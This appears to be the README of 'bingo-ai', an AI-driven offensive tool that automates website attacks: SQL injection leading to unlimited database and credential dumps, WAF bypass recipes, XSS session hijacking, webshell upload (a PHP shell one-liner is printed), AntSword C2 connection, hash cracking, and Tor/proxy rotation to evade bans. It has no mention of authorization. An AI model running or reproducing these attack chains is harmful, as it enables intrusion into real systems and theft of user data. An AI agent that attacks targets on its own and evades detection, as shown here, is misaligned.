bingo-ai 3.2.49

AI-powered red team terminal — Zero-Hallucination · WAF bypass · XSS·Upload·SSRF·OAuth·GraphQL·Smuggling exploit chains · multi-model · multi-language

bingo

AI-Powered Red Team Terminal

🌐 Language: English · 한국어 · 中文

⚠️ Windows is NOT supported. bingo runs on macOS and Linux only. Windows support has been permanently discontinued as of v3.2.45.

DeepSeek · Claude · GPT · GLM · Qwen · Ollama · Custom

---

Install

pip install bingo-ai
bingo

Update:

bingo --update

Git clone:

git clone https://github.com/bingook/bingo.git
cd bingo && bash install.sh

---

Quick Start

bingo                        # Launch
bingo scan https://target    # Auto full scan
bingo --version
bingo --reset

First launch: select language → enter API key → start.

---

How to Use

Just type your target and task in the chat window. No commands needed.

Example prompt (paste into bingo):

Target: https://example.com

Tasks:
1. Full recon — detect WAF, DB type, tech stack
2. SQLi — error → union → blind → time-based
3. Admin credentials — dump admin/user/member tables
4. Admin login — screenshot proof
5. DB full dump — run DbDumper on success

Just describe what you want. AI decides everything automatically.

---

Core Capabilities

Area	What bingo does
Recon	WAF detection, tech fingerprinting, crawl all pages/JS/API endpoints
SQLi	Error-based → Union → Boolean blind → Time-based (all DB types)
WAF Bypass	Cloudflare / AWS WAF / ModSecurity — auto-selected bypass
XSS	Stored / Reflected / DOM — session hijack on success
SSRF	Cloud metadata (AWS/GCP/Azure) endpoint testing
File Upload	Extension bypass, webshell upload
Auth Attack	Login brute force, SQLi auth bypass, CAPTCHA auto-solve
IDOR/BOLA	Object ID enumeration, horizontal privilege escalation
JWT/OAuth	alg:none, weak secret, redirect_uri abuse
GraphQL	Introspection, batch attack, field injection
HTTP Smuggling	CL.TE / TE.CL desync
Credential Dump	Extract hashes → suggest hashcat command
DB Dump	Full table dump on confirmed SQLi (DbDumper v2.7)
Screenshot	Admin panel auto-screenshot via Playwright
Report	Auto-saved markdown report with CVSS scores

---

Supported AI Models

Provider	Example models
OpenAI	gpt-4o, gpt-4-turbo, o1
Anthropic	claude-3-5-sonnet, claude-opus-4
DeepSeek	deepseek-chat, deepseek-reasoner
GLM	glm-4, glm-5
Qwen	qwen-max, qwen-plus
Ollama	any local model
Custom	any OpenAI-compatible endpoint

---

WAF Bypass — Auto Selected

WAF	Bypass used
Cloudflare	Double URL encode → Unicode → UA spoof
AWS WAF	Encoding → SLEEP→subquery → XFF header
ModSecurity	Space/**/ → IF→CASE WHEN → mixed case
Nginx/OpenResty	%0a newline → comment → obfuscation
Chinese WAF	Null byte → overlong UTF-8 → function replace

---

Anti-Hallucination — 4-Layer Guard

Every AI response is blocked unless it passes all 4 checks:

1. Code block guard — rejects empty stubs, JSON plans
2. Text intercept — rejects AI self-confessions
3. Fake credential block — no credentials without HTTP proof
4. Unproven conclusion block — no "SQLi confirmed" without code execution

Evidence labels in reports:

Label	Meaning
✅ VERIFIED	Real HTTP response confirmed
🟡 LIKELY	Partial evidence
🔍 INFERRED	Reasoning only — verify manually

---

bingo scan — Full Auto Pipeline

bingo scan https://target.com

Runs 5 phases automatically, no interaction needed:

Phase	What happens
1. Recon	Tech fingerprint, WAF detect, endpoint map
2. Collect	Admin panels, sensitive files, parameter discovery
3. Test	SQLi / LFI / XSS / SSRF / IDOR probing
4. Exploit	WAF bypass, data extraction, credential dump
5. Report	Markdown report with CVSS scores + evidence

Report saved to: ~/.config/bingo/reports/report_<domain>.md

---

Proxy Pool Rotation (v3.2.18)

Automatically rotates IP addresses to bypass WAF bans, rate limits, and IP blocks.

Supported Proxy Types

Type	Format	Notes
HTTP	http://ip:port	Basic proxy
HTTP + Auth	http://user:pass@ip:port	With credentials
HTTPS	https://ip:port	SSL tunnel
SOCKS5	socks5://ip:port	Requires PySocks
SOCKS5h	socks5h://ip:port	DNS also through proxy (more anonymous)
Tor	socks5h://127.0.0.1:9050	Tor Browser / tor daemon
API	URL string	Auto-fetch from ProxyScrape, Webshare, custom

Quick Start

# Add a single proxy
/proxy add socks5://1.2.3.4:1080

# Enable Tor (must have Tor running: brew install tor && tor)
/proxy tor

# Fetch free proxies from API presets automatically
/proxy api

# Load a proxy list file (one proxy per line)
/proxy file ~/proxies.txt

# Check pool status
/proxy list

All /proxy Sub-commands

Command	Description
/proxy list	Show pool status + all proxies
/proxy add <url>	Add a single proxy manually
/proxy file <path>	Load proxies from text file (one per line)
/proxy api [url]	Auto-fetch from API URL or choose preset
/proxy tor [password]	Enable Tor mode (optional: control port password)
/proxy rotate	Force immediate switch to next proxy
/proxy test	Test current proxy connection (latency check)
/proxy unban	Unban all banned proxies (reset fail marks)
/proxy clear	Clear entire pool
/proxy off	Disable proxy (requests go direct)

How Auto-Rotation Works

When bingo detects a ban (HTTP 429, 403, IP block, connection reset):

1. ProxyManager.report_ban() marks current proxy as BANNED
2. Switches to the next available proxy automatically
3. If Tor mode: sends NEWNYM signal → new Tor circuit (new IP)
4. Injects new proxy URL into AI hint so next script uses it
5. Waits 3s (vs 15s without proxy) and retries

AI-generated scripts automatically receive:

# [PROXY_ROTATED: now using socks5://5.6.7.8:9090]
PROXIES = {'http': 'socks5://5.6.7.8:9090', 'https': 'socks5://5.6.7.8:9090'}
session.get(url, proxies=PROXIES, timeout=15, verify=False)

Tor Setup Guide

Step 1 — Install Tor:

# macOS
brew install tor && brew services start tor

# Ubuntu/Debian
sudo apt install tor && sudo systemctl start tor

Step 2 — (Optional) Enable Tor Control Port:
Edit /etc/tor/torrc (Linux) or /usr/local/etc/tor/torrc (macOS):

ControlPort 9051
CookieAuthentication 1

Then restart: sudo systemctl restart tor

Step 3 — Enable in bingo:

/proxy tor           # no password (cookie auth)
/proxy tor mypassword  # with HashedControlPassword

Step 4 — Install stem for circuit rotation:

pip install stem

Without stem, Tor still works but circuit rotation (new IP per ban) is disabled.

API Preset Fetching

/proxy api

Choose from built-in presets:

1. ProxyScrape (SOCKS5) — free, 5000+ proxies
2. ProxyScrape (HTTP)   — free, HTTP proxies
3. ProxyScrape (SOCKS4) — free, SOCKS4 proxies
4. GeoNode Free         — filtered, 90%+ uptime
0. Custom URL           — enter your own API endpoint

Or specify URL directly:

/proxy api https://api.proxyscrape.com/v3/...
/proxy api https://your-own-proxy-api.com/list.txt

Supported API response formats:

• Plain text, one proxy per line (ip:port or scheme://ip:port)
• JSON array: ["socks5://1.2.3.4:1080", ...]

Proxy in AI-Generated Scripts

When /proxy is active, every AI script automatically includes:

import requests

# [bingo v3.2.18: PROXY ACTIVE]
PROXIES = {'http': 'socks5://1.2.3.4:1080', 'https': 'socks5://1.2.3.4:1080'}
s = requests.Session()
s.proxies.update(PROXIES)
s.verify = False   # required for Tor / self-signed certs

r = s.get("https://target.com/api/...", timeout=15)

Requirements

pip install PySocks  # SOCKS5 proxy support (auto-installed)
pip install stem     # Tor circuit rotation (optional)

Both are included in pyproject.toml dependencies — installed automatically with bingo.

---

Commands

Type / in the chat to open command menu (arrow keys to navigate).

Command	What it does
/scan <url>	Full red team pipeline
/waf <url>	WAF detection + bypass only
/crack [hash]	Hash crack — online lookup → offline
/proxy [sub]	Proxy pool rotation (new v3.2.18)
/stop	Stop running task
/tools	Show all tools + install status
/tools install <name>	Install a specific tool
/tools install all	Install all missing tools at once
/model	Add or switch AI model
/skill <keyword>	Search skill knowledge base
/history	View conversation history
/export	Save conversation as .md
/config	View current settings
/lang	Change language (ko / zh / en)
/clear	Clear screen
/quit	Exit

Tool install examples:

/tools                        # See all tools
/tools install nmap           # Auto-install nmap
/tools install nuclei ffuf    # Install multiple
/tools install all            # Install everything

Hash crack examples:

/crack                              # Auto-extract from last response
/crack $2y$10$Eix...               # Crack specific hash
/crack -w ~/rockyou.txt             # Custom wordlist

---

Config & Data Storage

Path	Content
~/.config/bingo/config.json	API keys, model, language
~/.config/bingo/reports/	Auto-saved scan reports
~/.config/bingo/sessions/	Chat session history
~/.bingo/tools/	Auto-downloaded Go tools
BINGO_REPORTS_DIR	Override report path (env var)

Config file locations by OS:

OS	Path
macOS	~/Library/Application Support/bingo/config.json
Linux	~/.config/bingo/config.json

---

Mobile — APK / IPA Analysis (v2.2.8)

bingo can analyze Android APK and iOS IPA files directly from the chat window.

Android APK

# In bingo chat
bingo> analyze target.apk
bingo> target.apk secret scan
bingo> pentest com.example.app

Method	Speed	Command
TruffleHog native	⚡ 9× faster	bingo> target.apk trufflehog
jadx full decompile	Thorough	bingo> target.apk jadx full scan

CLI / Python:

trufflehog filesystem target.apk --json --no-verification
# Docker (no install needed):
docker run -v $(pwd):/work trufflesecurity/trufflehog:latest filesystem /work/target.apk --json

Install TruffleHog:

brew install trufflesecurity/trufflehog/trufflehog   # macOS
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin  # Linux

iOS IPA

# In bingo chat
bingo> analyze target.ipa
bingo> ios swift decompile target.ipa
bingo> malimite target.ipa

Requires: Java 17+ and Malimite.jar

brew install openjdk@17
# Download Malimite.jar from https://github.com/LaurieWired/Malimite/releases
mkdir -p ~/tools && mv ~/Downloads/Malimite.jar ~/tools/
java -jar ~/tools/Malimite.jar target.ipa --output ./decompiled/
trufflehog filesystem ./decompiled/ --json --no-verification

Auto-detect (APK or IPA)

bingo> auto scan target.apk    # AI picks the right method automatically
bingo> auto scan target.ipa

What bingo extracts

Item	Detail
Hardcoded secrets	AWS keys, Google API, Firebase, Stripe, JWT, GitHub token
Permissions	All declared + dangerous permissions
Exported components	Activities, Services, Receivers, Providers
Deep links / URL schemes	Intent filters, custom scheme handlers
Network endpoints	API URLs extracted from code + assets
SSL pinning	Detected → bypass guide auto-generated
3rd party SDKs	Firebase, Sentry, Analytics, etc.

---

Post-Exploitation — Webshell Deploy (v2.2.5)

After confirmed SQLi, bingo runs the full post-exploit chain automatically:

Chain: SQLi login bypass → file upload → webshell → AntSword connect

# In bingo chat — just describe the goal
bingo> I have SQLi on https://target.com/login — get admin access and deploy webshell

bingo handles each step:

Step	What happens
1. SQLi auth bypass	admin'-- / ' OR 1=1-- injected into login form
2. Session capture	Auth cookies saved automatically
3. File upload	Webshell uploaded via authenticated upload endpoint
4. Webshell test	id, whoami, uname -a executed to confirm RCE
5. AntSword config	Connection string printed for AntSword C2
6. DB full dump	DbDumper runs automatically after shell confirmed

Webshell types auto-selected:

Backend	Webshell
PHP	<?php system($_GET['cmd']); ?>
JSP	Runtime.exec() shell
ASPX	ProcessStartInfo shell

---

DB Dump (v2.9.6)

Triggered automatically after confirmed SQLi / webshell / RCE:

• Dumps: member / user / admin / g5_member / xe_member
• No row limit — max_rows_per_table=0 (unlimited), entire table dumped
• Saves credentials → CREDENTIALS_{table}.json
• Detects hash type → prints hashcat -m {mode} command
• Re-attempts admin login with extracted credentials

Save location (auto-detected by OS):

OS	Path
macOS	~/Desktop/dump/{target}_{timestamp}/
Windows	~/Desktop/dump/{target}_{timestamp}/ (OneDrive Desktop auto-detected)
Linux	~/Desktop/dump/{target}_{timestamp}/ (falls back to ~/dump/ if no Desktop)

v2.9.6 fix: AI-generated extraction code was saving to /tmp/ and ignoring DbDumper. Now enforced: /tmp/ forbidden, Desktop path mandatory, FLOOR injection query_fn template added.

---

XSS Scan (v2.9.6)

bingo detects reflected and stored XSS automatically:

• Scans all parameters for reflection contexts (HTML / Attribute / JS / URL)
• Deduplicates reflection positions — same context printed only once even if it appears multiple times in the HTML response
• Loop detector distinguishes legitimate scan output from actual infinite loops
• Outputs: Reflection at: {param}={context} + unique count

Why this matters: some pages reflect the same XSS probe tens of times in a single response. Previous versions triggered the infinite-loop kill after 5 identical lines. v2.9.5 raises the threshold to 25 for scan result lines and enforces deduplication in the AI-generated scan code.

---

Cloudflare Bypass (Real IP Discovery)

import requests, urllib3
urllib3.disable_warnings()
REAL_IP = "x.x.x.x"  # from SPF/DNS records
s = requests.Session()
s.verify = False
r = s.get(f"https://{REAL_IP}/", headers={"Host": "target.com"})

Find real IP: dig TXT target.com → look for SPF record IP.

---

Changelog

Version	Summary
v3.2.45	macOS/Linux only — Windows support permanently discontinued
v3.2.28	Core engine restored — rolled back to most stable base
v3.2.18	Proxy Pool Rotation — HTTP/HTTPS/SOCKS5/Tor/API, auto-rotate on ban, RULE 26-T
v3.2.17	False positive fix: Body: <!DOCTYPE html> loop detector, RULE 26-S
v3.2.16	CAPTCHA false positive fix — script tags excluded from detection
v3.2.15	NameError prevention: RULE 26-Q — variables must be initialized before use
v3.2.14	Login efficiency: pivot to JS analysis after 3× HTTP 500 (RULE 26-P)
v3.0.6	SQLi extraction: auto IP-ban detection + X-Forwarded-For rotation (12 headers), partial dump on exhaustion
v3.0.5	Fix: final report now saved to Desktop/dump/target/ instead of ~/.config/bingo/reports/
v3.0.4	Post-credential: admin page discovery + IP restriction bypass (header spoofing/SSRF/real-IP) + report
v3.0.3	DB dump: DbDumper first → auto fallback to manual pagination if DbDumper fails or misses STEP 0 tables
v3.0.2	DB dump: AI verifies member tables via actual sample data (SELECT LIMIT 5), not just column names
v3.0.1	DB table identification: column-name based detection + obfuscated table support
v3.0.0	DbDumper flexible usage — AI selects method by context (no WAF / WAF / WebShell)
v2.9.8	Simplified save rules: /tmp/ allowed for intermediate files, Desktop for final output only
v2.9.7	All final output files enforced to Desktop/dump/target/
v2.9.6	DB dump: forbid /tmp/ save, enforce Desktop path, add FLOOR injection query_fn template
v2.9.5	XSS reflection dedup fix — prevent false infinite-loop kill on repeated reflections
v2.9.3	DB dump: no row limit + Desktop save path (macOS/Windows auto-detect)
v2.9.2	CMS bias fix — fresh detection per target, zero assumptions
v2.9.1	Bug fixes: variable substitution, warning spam, false positives
v2.9.0	11 new modules: HTTP smuggling, GraphQL, OAuth/JWT, Playwright, alerts
v2.8.0	SQLi engine overhaul — sqlmap-level precision
v2.7.0	Auto DB dump on successful breach
v2.3.0	Burp Engine — full Repeater/Intruder/Scanner in pure Python
v2.2.0	Pentest Precision Engine — WAF bypass, CAPTCHA OCR
v2.1.0	API fuzzing, post-report interactive actions

---

Languages

/lang        # Switch language in chat

Language	Code
English	en
한국어	ko
中文	zh

---

Requirements

• Python 3.10+
• API key for at least one supported model
• (Optional) VPN for anonymity — auto-detected and displayed

---

Contributing

git clone https://github.com/bingook/bingo.git
cd bingo && bash install.sh

Pull requests welcome. Open an issue first for major changes.

---

License

MIT © 2026 bingook

---

Type your target. bingo does the rest.